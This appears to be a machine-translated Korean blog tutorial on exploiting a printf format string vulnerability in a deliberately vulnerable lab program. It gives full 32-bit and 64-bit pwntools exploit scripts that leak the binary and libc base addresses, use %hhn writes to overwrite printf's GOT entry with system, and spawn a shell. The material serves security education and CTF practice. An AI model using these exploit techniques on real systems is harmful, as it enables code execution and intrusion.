임의의 주소 읽기 및 쓰기를 달성하기 위해 형식 문자열 취약점을 활용합니다.

형식화된 문자열 취약점은 고전적인 pwn 유형 취약점으로, 다음 블로그와 같은 소개 기사가 많이 있습니다.

포맷 스트링 취약점을 이용하여 임의의 주소를 읽고 쓰는 방법을 요약한 실제 사례를 예로 들어보겠습니다. 포맷 스트링에 대한 자세한 내용을 알고 싶다면 먼저 위 블로그를 참조하세요.

간략한 리뷰

문자열 서식 지정을 위한 기본 형식

%[parameter][flags][field width][.precision][length]type

취약점 관련 기능

  • [paramter] num$형식화된 문자열에서 지정된 매개변수를 가져옵니다. 예를 들어 %x첫 번째 매개변수를 인쇄한 다음 %2$x두 번째 매개변수를 인쇄합니다. printf두 번째 매개변수가 작성되지 않은 경우에도 실제로 이 함수는 자동으로 매개변수에서 매개변수를 가져옵니다. 스택.

모든 주소에서 읽기

基本格式: addr%num$s

아무 주소나 쓰세요

基本格式: addr%num$n

스택 레이아웃

형식 문자열 취약점을 이해하려면 먼저 다음 코드와 같은 함수의 스택 레이아웃을 이해해야 합니다.

gets(buf);
printf(buf);

가 호출되는 printf/scanf함수( )의 스택 레이아웃 main다음 그림은 일반적인 형식 문자열 취약점에 적합합니다.

                         ┌────────────────────┐
                         │                    │
L             ┌──────────┴──────────┐         ▼
   sp────────►│       format        │ printf(format, arg1, arg2)
              ├─────────────────────┤         │       │      │
        ▲     │        arg1         │◄────────┼───────┘      │
        │     ├─────────────────────┤         │              │
        │     │        arg2         │◄────────┼──────────────┘
        │     ├─────────────────────┤         │
        │     │                     │         │
        │     │                     │         │
        │     │                     │         │
       11$    │                     │         │
              │                     │         │
        │     │                     │         │
        │     │                     │         │
        │     │                     │         │
        │     │                     │         │
        ▼     ├─────────────────────┤         │
     ─────────┤       buf-input     │◄────────┘
              ├─────────────────────┤
              │                     │
              ├─────────────────────┤
              │                     │
              │                     │
              │                     │
 H            └─────────────────────┘

취약점 사례

대상 프로그램의 소스코드는 pwnme.c매우 단순하여 사용자 입력을 루프로 읽어서 직접 출력하는데, 이것이 가장 대표적인 포맷스트링 취약점이다.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char const *argv[])
{
	char buf[0x101];
	int i;
	for (i = 0; i < 0x10; ++i) {
		memset(buf, 0, sizeof(buf));
		read(0, buf, sizeof(buf));
		printf(buf);
	}
	return 0;
}

이 질문의 목표는 사용자가 형식화된 문자열 취약점을 사용하여 주소를 유출하고, GOT 테이블을 수정하고, 셸을 가져오도록 허용하는 것이므로 보안 RELRO컴파일 옵션을 꺼야 합니다. 이 질문의 또 다른 함정은 buf가 4B와 일치하지 않는다는 것입니다.

  • NX:-z execstack / -z noexecstack (off/on)은 실행 스택에 데이터를 허용하지 않으므로 JMP ESP를 사용할 수 없습니다.
  • 카나리아:-fno-stack-protector /-fstack-protector / -fstack-protector-all (끄기/켜기/모두 켜기) 스택에 쿠키 정보 삽입
  • PIE : -no-pie / -pie(off/on) 주소 무작위화, 또한 켜져 있을 때 get_pc_thunk가 있습니다.
  • RELRO:-z norelro / -z lazy / -z now (꺼짐/부분적으로 켜짐/완전히 켜짐) GOT 테이블에 대한 쓰기 권한이 있습니다.

엮다

 # 32位
 gcc pwnme.c -z norelro -m32 -o pwnme_32
 # 64位
 gcc pwnme.c -z norelro -o pwnme_64

32비트 EXP

1 libc 기본 주소 유출

대상 프로그램에는 주소 무작위화가 활성화되어 있으므로 libc기본 주소가 유출되어야 합니다. 포맷 스트링 취약점으로 인해 전체 스택에 데이터가 노출될 수 있습니다 .

  • main함수가 호출되는 곳에 중단점을 설정 printf하고 이때 스택 공간을 확인하여 printf의 4번째 매개변수(형식 문자열의 3번째 매개변수)가 <main+30>대상 프로그램의 위치를 ​​가리키는지 확인하므로 이 매개변수를 이용하여 누수될 수 있습니다. 프로그램 로딩의 기본 주소. .

  • 또는 %x.%x.%x...유사한 명령문을 직접 입력하여 전체 스택 데이터를 출력하고 위 데이터가 주소와 관련이 있는지 관찰하십시오.

───────────────────────────────────────────────────────────────────── stack ────
0xffffcf80│+0x0000: 0xffffcfab  →  "AAAA.%p.%p.%p.%p.%p.%p.%p\n"$esp
0xffffcf84│+0x0004: 0xffffcfab  →  "AAAA.%p.%p.%p.%p.%p.%p.%p\n"
0xffffcf88│+0x0008: 0x00000101
0xffffcf8c│+0x000c: 0x5655624b  →  <main+30> add ebx, 0x2d81
0xffffcf90│+0x0010: 0x00000340
0xffffcf94│+0x0014: 0x00000340
0xffffcf98│+0x0018: 0x00000340
0xffffcf9c│+0x001c: 0xffffd164  →  0xffffd325  →  "/home/tom/Documents/ctf/formatstring/pwnme_32"

프로그램 기본 주소 유출 후 임의의 주소를 사용하여 대상 프로그램 테이블에서 기본 주소 유출 에 사용된 내보낸 함수의 주소를 읽고 읽습니다.gotlibc

  • 모든 주소에서 읽으려면 형식화된 문자열 포인터와 실제 저장된 내용 사이의 길이 *, 즉 사용자 입력 사이의 길이를 알아야 합니다 . 위에서 언급한 스택 레이아웃에서 는 실제로 얻은 11$입력 AAAA.%11$x및 출력 입니다.*AAAA.414141
# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)

# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real))	# sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)

2 가져온 테이블 내보내기 기능을 재정의합니다.

포맷스트링은 %n기본적으로 4B에 기록되는데, 대용량 데이터를 쓰려고 하면 매우 불안정하기 때문에 포맷스트링 취약점을 이용하여 실제로 어떤 주소에든 쓰게 되면 보통 한 번에 1~2바이트씩 쓰는 경우가 많습니다. 4바이트 중

  • %hhn정수 유형의 경우 printf char에서 승격된 정수 크기의 정수 매개변수가 필요합니다.
  • %hn정수 유형의 경우 printfshort에서 승격된 int 크기의 정수 인수가 필요합니다.
  • %n정수 쓰기

바이트 단위로 쓰기. 여기서는 다음 경우를 주의 깊게 고려해야 합니다. 3B를 커버하고 3번 써야 한다고 가정합니다. 우리가 쓰는 형식화된 문자열 페이로드의 최대 길이는 를 초과하지 않습니다 12*3+1. 이를 보완하기 위해 , ljust이 길이만큼 패딩을 사용하세요. 형식 문자열은 %{}c%20$hhn이름에서 알 수 있듯이 형식 문자열의 20번째 매개변수를 씁니다 low1. 다음 페이로드에서 20번째 매개변수( 11+12*3/4 = 20) 에는 printf_got주소가 저장됩니다.

low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xff

payload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)

경험치 완료

from pwn import *

sh = process('./pwnme_32')
libc_elf = ELF('/lib32/libc.so.6')
pwn_elf = ELF('./pwnme_32')
context(log_level='info')
# gdb.attach(sh)

# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)

# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real))	# sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)

# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_got = pwn_base + pwn_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xff

payload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)
# pause()
sh.sendline(payload)

64비트 EXP

32비트와 다른 점은 64비트 매개변수 전송에서는 레지스터가 함수 매개변수( rdi, rsi, rdx, rcx, r8, r9)로 먼저 사용되기 때문에 7번째 매개변수는 가득 찰 때까지 스택에 저장되지 않는다는 점입니다.

1 libc 기본 주소 유출

가 호출되는 위치에 중단점을 설정하면 printf프로그램 기본 주소와 관련된 주소가 스택에 저장되지 않습니다.

───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdda0│+0x0000: 0x00007fffffffdfc8  →  0x00007fffffffe328  →  "/home/tom/Documents/ctf/formatstring/pwnme_64"$rsp
0x00007fffffffdda8│+0x0008: 0x0000000100000340
0x00007fffffffddb0│+0x0010: 0x0000034000000340
0x00007fffffffddb8│+0x0018: 0x0000000c00000340
0x00007fffffffddc0│+0x0020: "AAAABBBB.%10$p\n"$rsi, $rdi, $r10
0x00007fffffffddc8│+0x0028: ".%10$p\n"
0x00007fffffffddd0│+0x0030: 0x0000000000000000
0x00007fffffffddd8│+0x0038: 0x0000000000000000

0x150계속해서 스택 상단의 오프셋 주소가 저장되어 있는지 확인하고 찾으세요.<main>

gef➤  x/gx 0x00007fffffffdda8 + 0x150
0x7fffffffdef8:	0x00005555555551a9
gef➤  xinfo 0x00005555555551a9
──────────────────────────────────────────── xinfo: 0x5555555551a9 ────────────────────────────────────────────
Page: 0x0000555555555000  →  0x0000555555556000 (size=0x1000)
Permissions: r-x
Pathname: /home/tom/Documents/ctf/formatstring/pwnme_64
Offset (from page): 0x1a9
Inode: 1574883
Segment: .text (0x00005555555550c0-0x00005555555552d5)
Offset (from segment): 0xe9
Symbol: main

printf번째 매개변수는 libc 관련 주소를 저장합니다.

printf@plt (
   $rdi = 0x00007fffffffddc00x0000000a31313131 ("1111\n"?),
   $rsi = 0x00007fffffffddc00x0000000a31313131 ("1111\n"?),
   $rdx = 0x0000000000000101,
   $rcx = 0x00007ffff7ed0fd20x5677fffff0003d48 ("H="?)
)

계산 프로그램 및 libc 기본 주소

payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2 
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)

2 가져온 테이블 내보내기 기능을 재정의합니다.

같은 방법으로 형식화된 문자열 매개변수와 실제 포인터의 오프셋을 찾습니다.

输入:AAAABBBB.%10$p
输出:AAAABBBB.0x4242424241414141

32비트 루틴과 동일하지만 페이로드 패딩 필드는 8B로 정렬되어야 합니다.

sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xff

payload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a')	#  +4是为了8字节对齐!
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)

전체exp

from pwn import *

sh = process('./pwnme_64')
bin_elf = ELF('./pwnme_64')
libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
context(log_level='info')

# 1 leak binary and libc base address
payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2 
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)

# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xff

payload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a')
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)

sh.sendline(payload)
sh.sendline(b'/bin/sh\0')
sh.interactive()

요약하다

포맷된 문자열 취약점을 이해하는 열쇠는 스택 공간 레이아웃을 이해하는 데 있습니다.임의의 주소를 작성하는 것은 초보자에게는 추상적일 수 있지만, 스택 공간 레이아웃과 포맷된 문자열의 원리를 결합하면 포맷된 문자열에 대해 더 자세히 이해할 수 있습니다. 지각. 위의 취약점 사례를 재현할 수 있다면 축하합니다. pwn 형식 문자열 취약점 탐색을 완료한 것입니다.

  1. 스택 공간 누출, 프로그램 계산 또는 libc베이스 로드( %p.%p.%p)
  2. 스택 공간을 누출하고 형식화된 문자열 매개변수에서 실제 형식화된 문자 포인터까지의 거리를 찾습니다( AAAABBBB.%p.%p.%p.%p.%p.%p.%p) .
  3. 임의의 주소 읽기( addr%11$s)
  4. 아무 주소나 쓰세요 ( '%{}c%11$hhn'.format(index) + addr)

추천

출처blog.csdn.net/song_lee/article/details/130969393